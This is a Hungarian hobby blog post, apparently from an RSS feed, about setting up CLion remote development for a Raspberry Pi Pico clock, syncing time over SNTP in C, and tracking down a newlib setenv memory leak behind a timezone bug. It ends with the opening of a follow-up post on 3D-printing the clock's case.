<p>Az előző részekben a CLion nem igazán szerette volna azt csinálni, amit mi szeretnénk és a PyCharm se volt a végletekig együttműködő (<a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">(Nincs még) Itt az idő</a>), de legalább sikerült egy aranyos kis doboz-kezdeményt nyomtatni az óra köré (<a href="https://deadlime.hu/2024/07/28/dobozba-zart-ido/">Dobozba zárt idő</a>), amit most nem használunk.</p>
<p>Ma azzal folytatjuk, hogy visszalépünk egy kicsit és megpróbáljuk még egyszer megszelídíteni a CLion-t, azután pedig megtapasztalhatjuk azt is, hogy milyen borzalmakat rejtenek magukban az időzónák.</p>
<h3>Fejlesztői környezet és a Pi</h3>
<p>A hobbi projektek elsődleges célja (legalábbis nálam), hogy lehetőség szerint remekül szórakozzak (kinek mit jelent a szórakozás, ugye, de ezt majd később meglátjuk). Mivel foglalkozok eleget Python-nal a hétköznapok során, ezért szívesebben néztem volna más jellegű kihívások elé. Meg hát makacs is vagyok.</p>
<p>Az eredeti ötlet az volt, hogy fogok egy rendes Raspberry Pi-t, a Picoprobe (Debugprobe) helyett rákötöm a Pico-t a Raspberry Pi GPIO-jára, rádugok egy monitort/billentyűzetet/egeret és azon kezdek el fejleszteni. Az ötlet egy árnyalatnyit módosult, amikor nem találtam itthon megfelelő HDMI átalakítót a Rasberry Pi-hoz. Az új terv az lett, hogy megpróbálom meggyőzni a Windows gépen futó CLiont, hogy használja SSH-n keresztül a Raspberry Pi-t build környezetként.</p>
<p>Elméletileg a Pi a legalkalmasabb környezet a Pico fejlesztéshez. Néhány egyszerű parancs után mindennek működnie kell:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> chmod +x pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> ./pico_setup.sh</span>
</code></pre>
<p>Már csak egy kis várakozás és kész is... kivéve, ha véletlenül egy Raspberry Pi 5 egyre kevésbé boldog tulajdonosai vagyunk, mert arra a bejegyzés írásakor még nem volt felkészítve ez a script. Szerencsére megtaláltam <a href="https://github.com/raspberrypi/pico-setup/pull/28/files">ezt a pull request-et</a>, ami a megoldás feléig eljuttatott, de szükségem volt még egy új OpenOCD interface konfigra is, amit már nem emlékszem honnan ollóztam össze:</p>
<pre class="file"><code>/usr/local/share/openocd/scripts/interface/raspberrypi5.cfg
</code></pre>
<pre><code>adapter driver linuxgpiod

adapter gpio swclk 24 -chip 4
adapter gpio swdio 23 -chip 4
</code></pre>
<p>Így már sikerült megfuttatni <a href="https://github.com/pimoroni/pimoroni-pico/tree/main/examples/gfx_pack">az egyik példaprogramot</a>.</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/raspberrypi5.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
<p>Annak ellenére, hogy ezt sikerült megoldani, valamiért mégsem ebbe az irányba mentem, talán azt olvastam valahol, hogy ez a driver lassabb, mint a Picoprobe, úgyhogy visszadugdostam az eredeti felállást és USB-n kötöttem rá a Pi-ra a Pico-t, így az OpenOCD a már megszokott paranccsal működött:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
<h3>A munka oroszlánrésze</h3>
<p>Már csak a CLiont kell rábírni az együttműködésre. Elméletileg megvan benne a támogatás, lássuk mire megyünk vele. Először is kell neki egy SSH konfig a Pi-hoz:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_1.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_1.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Aztán egy remote toolchain, ami ezt az SSH kapcsolatot használja:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_2.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_2.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Valószínűleg érdemes egy deployment-et is beállítani, hogy a fájl másolgatás jól működjön (ennek ellenére nem fog, de erre mindjárt visszatérünk):</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_3.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_3.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_4.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_4.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>És végül egy debug konfiguráció, hogy futtatni tudjuk a kódunkat.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_5.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_5.png" width="660" height="474" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Itt van egy pár érdekesség, amiről érdemes szót ejteni. A GDB-nél a remote host-on futót választottam, így a 'target remote' args csatlakozhat localhost-ra (a gdb és az openocd is a Pi-on fut). A &quot;GDB Server args&quot; környékén régen elég volt az első kettő paraméter (interface és target beállítás), az <code>adapter speed</code> valószínűleg opcionális. A <code>program</code> pedig... hát az elég érdekes.</p>
<p>Egy ideális világban az &quot;Upload Executable&quot; rész az mondjuk &quot;If updated&quot; lenne &quot;Never&quot; helyett, de ha az be van kapcsolva, akkor a Windows-os gép elérési útján próbálná megkeresni a fájlt, ami nincs ott, mert a Pi-on generálódott <a href="https://youtrack.jetbrains.com/issue/CPP-22619/CLion-2020.3-Resync-with-Remote-Hosts-no-longer-transfers-built-ELF-files-back-to-local-computer">ELF fájlokat a CLion nem tölti le</a>.</p>
<p>Ha kikapcsolom a ticket-ben említett beállítást és nyomok egy Tools &gt; Resync with Remote Host opciót, akkor ugyan letölti az ELF fájlt, de valahogy még mindig nem kerül rá a Pico-ra. A kimenet alapján mintha elkezdené, de végül csak nem történik semmi. Vajon minek kell egyáltalán letöltenie (és aztán visszatöltenie a Pi-ra), ha minden ott van már a Pi-on? Rejtély.</p>
<p>Szóval inkább meghívom a <code>program</code>-ot kézzel, de így a <code>reset</code> miatt megszakad a debugger kapcsolata, ami a debug-olás esetén nem annyira kellemes. A vége az lett, hogy két konfigurációt csináltam, az egyik feltölteni tud (benne van a <code>program</code> rész), a másik meg csak debug-olni (nincs benne a <code>program</code> rész). Nem ideális a rendszer, de használható.</p>
<p>A konzolos kimenetet pedig a Pi-on futtatott <code>minicom -b 115200 -o -D /dev/ttyACM0</code> paranccsal tudom elérni.</p>
<h3>A pontos idő</h3>
<p>A Python-os változatban elkészült már a pontos idő beszerzése, ezt kénytelenek vagyunk megtenni most a C SDK segítségével is. A valóságban ez még a Python-os változat előtt elkészült, de ettől most tekintsünk el.</p>
<p>Először is van egy kis konfigurációs része, ami a <code>CMakeLists.txt</code>-be kerül:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">add_definitions</span>(
  -DSNTP_SERVER_DNS=<span class="hljs-number">1</span>
  -DSNTP_SERVER_ADDRESS=<span class="hljs-string">"hu.pool.ntp.org"</span>
  -DSNTP_SET_SYSTEM_TIME=sntp_set_system_time
  -DSNTP_STARTUP_DELAY=<span class="hljs-number">0</span>
)
</code></pre>
<p>Amit itt érdemes megfigyelni, hogy hivatkozunk egy C-s függvényre (<code>sntp_set_system_time</code>), amit majd meg kell valósítanunk. Szükségünk lesz ugyanott pár könyvtárra is az SDK-ból:</p>
<pre><code class="hljs cmake"><span class="hljs-keyword">target_link_libraries</span>(
  pico-clock
  hardware_rtc
  pico_cyw43_arch_lwip_threadsafe_background
  pico_lwip_sntp
  pico_stdlib
  pico_time
)
</code></pre>
<p>A korábban említett függvény, ami kezeli az NTP szervertől kapott időt:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"hardware/rtc.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"lwip/apps/sntp.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/cyw43_arch.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/stdlib.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/time.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"pico/util/datetime.h"</span></span>

<span class="hljs-keyword">bool</span> sntp_finished = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">sntp_set_system_time</span><span class="hljs-params">(<span class="hljs-keyword">uint32_t</span> sec)</span> </span>{
  <span class="hljs-keyword">datetime_t</span> datetime;
  time_to_datetime(sec, &amp;datetime);

  rtc_set_datetime(&amp;datetime);

  sntp_stop();
  cyw43_arch_disable_sta_mode();

  sntp_finished = <span class="hljs-literal">true</span>;
}
</code></pre>
<p>A sikeres idő szinkronizáció után kikapcsoljuk az SNTP modult és lejövünk a wifi-ről is. Már csak el kell indítanunk mindent:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
  stdio_init_all();
  cyw43_arch_init_with_country(CYW43_COUNTRY_HUNGARY);
  rtc_init();

  cyw43_arch_enable_sta_mode();
  <span class="hljs-keyword">while</span> (cyw43_arch_wifi_connect_timeout_ms(<span class="hljs-string">"SSID"</span>, <span class="hljs-string">"secret"</span>, CYW43_AUTH_WPA2_AES_PSK, <span class="hljs-number">30000</span>)) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"failed to connect.\n"</span>);
  }

  sntp_setoperatingmode(SNTP_OPMODE_POLL);
  sntp_init();

  <span class="hljs-keyword">while</span> (!sntp_finished) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"waiting for time.\n"</span>);
    sleep_ms(<span class="hljs-number">100</span>);
  }

  <span class="hljs-keyword">datetime_t</span> now_utc;
  <span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

  <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
    rtc_get_datetime(&amp;now_utc);
    datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, datetime_buf);
    sleep_ms(<span class="hljs-number">1000</span>);
  }
}
</code></pre>
<p>Ha minden jól megy, akkor a Pico kap internet elérést, felveszi a kapcsolatot az NTP szerverrel és a konzolon másodpercenként elkezdenek jönni az üzenetek a pontos időről:</p>
<pre class="console"><code>Tuesday 27 August 20:47:13 2024
Tuesday 27 August 20:47:14 2024
Tuesday 27 August 20:47:15 2024
...
</code></pre>
<p>Nagy bánatunkra UTC-ben, úgyhogy kell valami megoldást találnunk rá, hogy a helyi időt megkapjuk.</p>
<h3>Elidőztem az időzónákkal</h3>
<p>Nem sokat érne egy asztali óra, ha csak UTC-ben lenne képes megjeleníteni az időt. Az NTP szervertől egy unix timestamp-et kapunk, de az RTC (Real-time clock) modul már egy <code>datetime_t</code> struct-ot vár és azt is tudunk kinyerni belőle, így az idő megjelenítésénél ezzel vagyunk kénytelenek dolgozni.</p>
<p>Elméletileg az <code>mktime</code> tud csinálni strukturált dátum és idő adatból unix timestamp-et és a <code>localtime</code> pedig unix timestamp alapján tud csinálni megfelelő időzónában lévő dátum és idő <code>struct</code>-ot. A <code>pico/util/datetime.h</code> ad néhány segédfüggvényt is, a későbbiekben ezeket fogjuk használni, de belül itt is az <code>mktime</code> és a <code>localtime</code> fut. A <code>datetime_to_time</code> egy <code>datetime_t</code>-ből csinál unix timestamp-et, a <code>time_to_datetime</code> pedig unix timestamp-ből csinál helyi időt (egy <code>datetime_t</code>-ben).</p>
<p>De van egy kis csavar. Mindkét irány helyi idővel dolgozik és meg kell tudnunk mondani az egyiknek, hogy UTC-ből dolgozzon, a másiknak pedig, hogy milyen időzónában vagyunk éppen. De hogyan is lehetne ezt beállítani?</p>
<p>Az egyetlen ötletem, amin el tudtam indulni az volt, hogy van a <code>tzdata</code> csomag, ami időzóna adatokat tartalmaz, hátha ott valamiből ki tudok indulni, mondjuk egy időzóna fájl tartalmát valahogy feljuttatni a Pico-ra. Nem ez vezetett a megoldáshoz, de megtudtam, hogy az időzóna meghatározásához használt pl. <code>Europe/Budapest</code> megnevezések tényleges fájlok a <code>/usr/share/zoneinfo</code> könyvtárban.</p>
<p>Összefutottam a leírásokban a <code>TZ</code> nevezetű környezeti változóval is, aminek az értéke lehet mondjuk <code>Europe/Budapest</code>, amiről most már tudjuk, hogy igazából a <code>/usr/share/zoneinfo/Europe/Budapest</code> fájl, amivel nem vagyunk előrébb.</p>
<p>Némi utánajárás után <a href="https://sourceware.org/glibc/manual/2.42/html_node/TZ-Variable.html">egy leírás</a> alapján az is kiderült, hogy a <code>TZ</code> nem csak elérési utakat tartalmazhat, hanem egy az egyben időzóna definíciót is. A <code>Europe/Budapest</code> definíciója valahogy így néz ki a fenti leírás és a <a href="https://en.wikipedia.org/wiki/Daylight_saving_time_by_country">Wikipédia ide vonatkozó adatai</a> alapján:</p>
<pre><code>TZ=CET-1CEST,M3.5.0/2,M10.5.0/3
</code></pre>
<p>Az alap időzónánk a <code>CET</code>, amiből 1-et kell levonnunk, hogy megkapjuk az <code>UTC</code>-t. A nyári időszámításunk a <code>CEST</code>. A nyári időszámítás kezdete március utolsó vasárnapja (<code>M3.5.0</code>), hajnal 1 óra <code>UTC</code> szerint, ami a 2 órát jelenti <code>CET</code>-ben (mivel ebben a formátumban a helyi idő szerint kell megadnunk az órát). A nyári időszámítás vége október utolsó vasárnapja (<code>M10.5.0</code>), szintén hajnal 1 óra <code>UTC</code> szerint, ami 3 óra a <code>CEST</code> szerint.</p>
<p>Ha jól értem a dolgokat, akkor a fájl annyival tudna többet, hogy nem csak az aktuális szabály van benne, hanem visszamenőleg megvannak a régi szabályok is (vagy előremenőleg, ha valami szabály módosulás lesz a jövőben). Ha futtatunk mondjuk egy <code>zdump -v Europe/Budapest | less</code> parancsot, akkor látszik, hogy például 1916-ban még április utolsó vasárnapján este 11 órakor volt a nyári időszámításra váltás.</p>
<p>Így most már az RTC modultól kapott időt a megfelelő időzónára tudjuk alakítani, csak a <code>TZ</code> értéke legyen megfelelő az <code>datetime_to_time</code> és a <code>time_to_datetime</code> hívása előtt.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">datetime_t</span> now_utc;
<span class="hljs-keyword">datetime_t</span> now_local_time;
<span class="hljs-keyword">char</span> datetime_buf[<span class="hljs-number">256</span>];

<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  rtc_get_datetime(&amp;now_utc);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">time_t</span> timestamp;
  datetime_to_time(&amp;now_utc, &amp;timestamp);

  setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  time_to_datetime(timestamp, &amp;now_local_time);

  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_utc);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"utc time:   %s\n"</span>, datetime_buf);
  datetime_to_str(&amp;datetime_buf[<span class="hljs-number">0</span>], <span class="hljs-keyword">sizeof</span>(datetime_buf) / <span class="hljs-keyword">sizeof</span>(<span class="hljs-keyword">char</span>), &amp;now_local_time);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"local time: %s\n"</span>, datetime_buf);

  sleep_ms(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Minden jónak tűnik... az első futásnál.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:02:03 2024
local time: Tuesday 27 August 23:02:03 2024
utc time:   Tuesday 27 August 21:02:04 2024
local time: Tuesday 27 August 21:02:04 2024
utc time:   Tuesday 27 August 21:02:05 2024
local time: Tuesday 27 August 21:02:05 2024
</code></pre>
<p>De csak az elsőnél, aztán gyorsan félremennek a dolgok. Mintha a két függvény valahogy egymás lábára lépne és elállítódnának a dolgok. Jó ideig nézegettem különböző implementációit a függvényeknek, de nem lettem tőle okosabb. Végül azzal a félmegoldással mentem, hogy <a href="https://github.com/torvalds/linux/blob/v6.10/kernel/time/time.c#L449">a kernel kódjából</a> hoztam el egy <code>mktime</code> implementációt, ami nem foglalkozik időzónákkal, így már működtek a dolgok.</p>
<p>Az igazi megvilágosodás akkor ért, amikor már ezt a bejegyzést írtam és újra elolvastam a <code>TZ</code> dokumentációját. Lehet, hogy csak az kell neki, hogy mennyi a különbség az UTC-hez képest még akkor is, ha UTC-t szeretnénk? Ez szerencsére megoldotta a problémát, a <code>setenv(&quot;TZ&quot;, &quot;UTC&quot;, 1)</code>-et át kellett írni <code>setenv(&quot;TZ&quot;, &quot;UTC+0&quot;, 1)</code>-ra. A sima <code>UTC</code> talán a <code>/usr/share/zoneinfo/UTC</code> fájlra vonatkozna, ami nekünk ugye itt nincs kéznél.</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:08:56 2024
local time: Tuesday 27 August 23:08:56 2024
utc time:   Tuesday 27 August 21:08:57 2024
local time: Tuesday 27 August 23:08:57 2024
utc time:   Tuesday 27 August 21:08:58 2024
local time: Tuesday 27 August 23:08:58 2024
...
</code></pre>
<p>Minden szépen és jól működött, de úgy 10 perc után az óra ismét az UTC-s időt mutatta. Ezen a ponton azért már erősen megkérdőjelezhető, hogy vajon tényleg ez-e nekem a szórakozás.</p>
<p>Belevetettem magam a debug-olásba, de egy ponton túl már csak assembly kódot mutatott a CLion, valahonnan össze kellene szedni a forrást. Némi kutakodás után megtaláltam, hogy a <a href="https://sourceware.org/newlib/">Newlib</a> nevezetű C könyvtárból jön többek között az <code>mktime</code> és a <code>localtime</code> is.</p>
<p>A Pi-on egy <code>sudo apt install newlib-source</code> parancs kiadásával megkaptam a forrást a <code>/usr/src/newlib/newlib-3.3.0.tar.xz</code> fájlban, amit aztán már be tudtam adni a CLion-nak. A dolgok mélyén végül azt találtam, hogy amikor a <code>localtime</code> megpróbálja betölteni a <code>TZ</code> környezeti változó értékét, akkor nem talál ott semmit. Ez elirányított a <code>setenv</code> irányába, ami nyilvánvalóan meg volt hívva ugyan, de a hatezredik futás környékén mintha már nem tette volna a dolgát.</p>
<p>Hosszas kutakodás után ennél a résznél kötöttem ki:</p>
<pre><code class="hljs arduino">  <span class="hljs-keyword">if</span> (!((*p_environ)[offset] =  <span class="hljs-comment">/* name + `=' + value */</span>
  _malloc_r (reent_ptr, (<span class="hljs-keyword">size_t</span>) ((<span class="hljs-keyword">int</span>) (C - name) + l_value + <span class="hljs-number">2</span>))))
    {
      ENV_UNLOCK;
      <span class="hljs-keyword">return</span> <span class="hljs-number">-1</span>;
    }
</code></pre>
<p>Le is ellenőriztem, a <code>setenv</code> hívás tényleg <code>-1</code>-et adott vissza, és bár nem vagyok egy C mágus, de a <code>malloc</code>-ból arra a következtetésre jutottam, hogy azért, mert elfogyott a memória. Készítettem egy rövid kis programot, hogy kipróbáljam:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>Ahogy azt sejteni lehetett, meg is kaptam a várt üzenetet:</p>
<pre class="console"><code>baj van: 5217
</code></pre>
<p>Hiába nézegettem annyit az <code>mktime</code>-ot és a <code>localtime</code>-ot, a hiba végig a <code>setenv</code>-ben volt. Ha <a href="https://sourceware.org/git/?p=newlib-cygwin.git;a=blob;f=newlib/libc/stdlib/setenv_r.c;h=84d87a6ed2da72fe1a7ef1cf82a23518fb5f2220;hb=HEAD#l50">megnézzük a környező kódot</a>, látszik, hogy ha az új környezeti változó értéke hosszabb, mint a régi érték volt, akkor új memóriaterületet foglal le neki, amit úgy tűnik nem szabadít fel senki se. A mi ciklusunk meg nagyjából másról se szól, mint hosszabb értékek beállításáról. Viszont ebből az következik, hogy ha ugyanolyan hosszúak, akkor nem lesz semmi baj, ugye? Feltöltöttem hát szóközökkel a rövidebbet.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">int</span> counter = <span class="hljs-number">0</span>;
<span class="hljs-keyword">int</span> res;
<span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0                       "</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }

  res = setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"CET-1CEST,M3.5.0/2,M10.5.0/3"</span>, <span class="hljs-number">1</span>);
  <span class="hljs-keyword">if</span> (res == <span class="hljs-number">-1</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"baj van: %d\n"</span>, counter);
    <span class="hljs-keyword">break</span>;
  }
  ++counter;
}
</code></pre>
<p>Tény és való, ez már nem írja ki azt, hogy &quot;baj van&quot;, megoldódott a probléma, visszarakom a kódba az idő konvertálgatást is, hogy lássam egyben működni...</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:38:21 2024
local time: Tuesday 27 August 22:38:21 2024
utc time:   Tuesday 27 August 21:38:22 2024
local time: Tuesday 27 August 22:38:22 2024
utc time:   Tuesday 27 August 21:38:23 2024
local time: Tuesday 27 August 22:38:23 2024
...
</code></pre>
<p>Ez új. Valahogy elveszett egy óra. De nem estem kétségbe, ezen a ponton már elég rutint szedtem magamra, hogy sejtsem, a sok extra szóköz miatt nem tudja értelmezni rendesen az <code>mktime</code> a <code>TZ</code> értékét. Raktam egy extra vesszőt az <code>UTC+0</code> után, hátha az meglágyítja a parser kő szívét...</p>
<pre><code class="hljs arduino">setenv(<span class="hljs-string">"TZ"</span>, <span class="hljs-string">"UTC+0,                      "</span>, <span class="hljs-number">1</span>);
</code></pre>
<p>...és meglepő módon bevált:</p>
<pre class="console"><code>utc time:   Tuesday 27 August 21:39:22 2024
local time: Tuesday 27 August 23:39:22 2024
utc time:   Tuesday 27 August 21:39:23 2024
local time: Tuesday 27 August 23:39:23 2024
utc time:   Tuesday 27 August 21:39:24 2024
local time: Tuesday 27 August 23:39:24 2024
...
</code></pre>
<p>Sikerült. Több napnyi <del>szenvedés</del> móka és kacagás után végül elértük, hogy a Pico óra a megfelelő helyi időt mutatja. Remélhetőleg a téli és nyári időszámítás közötti váltást is jól fogja kezelni. Majd október utolsó vasárnapján kiderül. Addigra remélhetőleg már az LCD kijelzőre is fogunk valamit rajzolni.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Dobozba zárt idő</title>
            <link>https://deadlime.hu/2024/07/28/dobozba-zart-ido/</link>
            <pubDate>Sun, 28 Jul 2024 17:08:23 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[3D nyomtatás]]></category>
                    <category><![CDATA[Blender]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">5227e0fa6ac2c50bca1d5ea3cec1ccea</guid>
            <description>Burkolat tervezés egy Raspberry Pi Pico-alapú asztali órához</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/3d_printing.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Hogy képes voltam-e csak a szóvicc kedvéért ezt kinyomtatni? Talán...</p>

<p>Régóta gondolkodtam már egy 3D nyomtató beszerzésén, de valami végfelhasználói élményhez közelebb álló darabra vágytam, mint egy 2D nyomtató esetén. Nem a 3D nyomtató építést, mint hobbit akartam elkezdeni, csak nyomtatni szeretnék.</p>
<p>Aztán felfedeztem a Bambu Lab nyomtatóit, amik pont ilyen gépeknek tűntek. Az A1 és P1 vonal között gondolkodtam sokáig, végül az A1 mellett döntöttem (az AMS lite nélkül), gondolván, hogy első nyomtatónak az olcsóbb is megteszi. A fő különbségnek az tűnt, hogy az A1 nem tud üzembiztosan ABS-t nyomtatni, de egyelőre nem érzem úgy, hogy ez zavarna.</p>
<p>Nyilván, amikor megérkezett minden hülyeséget kinyomtattam, amit csak le lehetett tölteni az Internetről, de az egyik indok, amivel meggyőztem magamat, hogy erre nekem szükségem lehet, az az volt, hogy a kis hardveres projektjeimhez tudok majd alkatrészeket nyomtatni. Az egyik ilyen projekt a <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">Pico alapú óra</a>, ami szoftveresen azóta se sokat fejlődött, de most már van egy kezdetleges doboza is. Nézzük is meg hogyan készült.</p>
<h3>Tervezés</h3>
<p>Rendelkezem némi Blender tudással, úgyhogy abban álltam neki összerakni a dobozt, de valószínűleg jobban jártam volna, ha elkezdek inkább kitanulni valami CAD szoftvert. Nem lehetetlen Blender-ben ilyen dolgokat csinálni, de nem erre lett kitalálva.</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/blender_full.jpg">
        <img src="https://deadlime.hu/uploads/2024/blender_small.jpg" width="660" height="660" alt="" title="" loading="lazy" />
    </a>
</p>
<p class="image-caption">Katt a teljes változatért!</p>

<p>Előtúrtam még a fiókból egy régi digitális tolómérőt, aminek a digitális része már nem volt hajlandó működni (szerencsére analóg tolómérőként még funkcionált), úgyhogy nem tudtam elég pontosan lemérni a dolgokat.</p>
<h3>Kivitelezés</h3>
<p>Először a kijelző köré nyomtattam egy keretet... aztán még egy párat, a fent említett mérési hiányosságok miatt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box1.jpg" width="660" height="720" alt="" title="" loading="lazy" />
</p>

<p>Szabad szemmel nem is igazán látszanak különbségek, tized-millimétereket módosítgattam míg végül meg nem kaptam a pontosan illeszkedő darabot.</p>
<p>A következő lépés a gombok elhelyezése volt. Először arra gondoltam, hogy a kinyomtatott tok része lesz, de túl kicsik voltak hozzá a gombok és a PLA sem bizonyult alkalmasnak az ilyen jellegű felhasználásra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box2.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Miután a gombok a helyükre kerültek (azokból is készült vagy 3-4 változat, mire megfelelően belepasszoltak a lyukakba), lett egy nagyjából késznek mondható elülső elemem, amibe tökéletesen illeszkedik az óra.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box3.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box4.jpg" width="660" height="660" alt="" title="" loading="lazy" />
</p>

<p>Jöhet a hátulsó rész. Itt a csavaroknak szánt lyukakkal gyűlt meg a bajom, nem is egyszer.</p>
<p>Az elülső részbe menetes betéteket terveztem rakni, a hátulsó részen csak átmentek volna a csavarok, de nem érkezett meg időben a csomag, így végül olyan lyukak lettek, amikbe a kis M2-es csavarok menetet tudnak vágni maguknak. Első változatnak ez is megteszi.</p>
<p>A másik probléma a lyukak pozíciója volt, ugyanott kellett lenniük, mint a PCB sarkain lévő lyukaknak, hogy össze lehessen végül csavarozni a két részt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box5.jpg" width="660" height="630" alt="" title="" loading="lazy" />
</p>

<p>Ugyanaz a móka, mint a kijelző kereténél, de itt vagy fél milliméterrel lőttem mellé az első tippel. A végén a sarkokból is le kellett vágnom még egy kicsit, mert túl magas volt ahhoz a hátulsó rész, hogy a leghosszabb csavarom átérje.</p>
<p>Ez után következett az USB helye. Ehhez a hátulsó rész egyik oldalát nyomtattam csak ki újra meg újra, amíg el nem találtam a pontos pozíciót.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/box6.jpg" width="660" height="1200" alt="" title="" loading="lazy" />
</p>

<p>Az első változat után a részletekből is visszavettem, hogy csökkentsem a nyomtatási időt.</p>
<p>És el is érkeztünk az első változathoz. Nem túl dizájnos, de minden méret a helyén van, a következő változatokban lehet rajta majd szépíteni, ha még képes leszek kiigazodni a Blender-es modellen.</p>

<p class="image image-center">
